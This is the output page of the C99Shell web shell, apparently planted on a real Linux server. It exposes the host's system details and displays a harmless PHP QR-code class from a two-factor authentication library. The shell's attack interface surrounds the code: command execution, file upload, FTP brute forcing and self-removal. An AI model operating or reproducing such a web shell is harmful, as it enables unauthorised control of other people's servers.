!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/pragmarx/google2fa-qrcode/src/QRCode/   drwxr-xr-x
Free 28.21 GB of 117.98 GB (23.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Chillerlan.php (1.7 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PragmaRX\Google2FAQRCode\QRCode;

use 
Illuminate\Support\Str;
use 
chillerlan\QRCode\QRCode;
use 
chillerlan\QRCode\QROptions;
use 
BaconQrCode\Writer as BaconQrCodeWriter;

class 
Chillerlan implements QRCodeServiceContract
{
    protected 
$options = [];

    
/**
     * Get QRCode options.
     *
     * @param int $size
     * @return \chillerlan\QRCode\QROptions
     */
    
protected function getOptions()
    {
        
$options = new QROptions($this->buildOptionsArray());

        return 
$options;
    }

    
/**
     * Set QRCode options.
     *
     * @param array $options
     * @return self
     */
    
protected function setOptions($options)
    {
        
$this->options $options;

        return 
$this;
    }

    
/**
     * Build the options array
     *
     * @param null $size
     * @return array
     */
    
public function buildOptionsArray($size null)
    {
        
$defaults = [
            
'version' => QRCode::VERSION_AUTO,
            
'outputType' => QRCode::OUTPUT_MARKUP_SVG,
            
'eccLevel' => QRCode::ECC_L,
        ];

        return 
array_merge($defaults$this->options);
    }

    
/**
     * Generates a QR code data url to display inline.
     *
     * @param string $string
     * @param int    $size
     * @param string $encoding Default to UTF-8
     *
     * @return string
     */
    
public function getQRCodeInline($string$size null$encoding null)
    {
        
$renderer = new QRCode($this->getOptions());

        
$header "data:image/svg+xml;base64,";

        
$image $renderer->render($string);

        if (
strncmp($image$headerstrlen($header)) === 0) {
            return 
$image;
        }

        return 
$header base64_encode($image);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--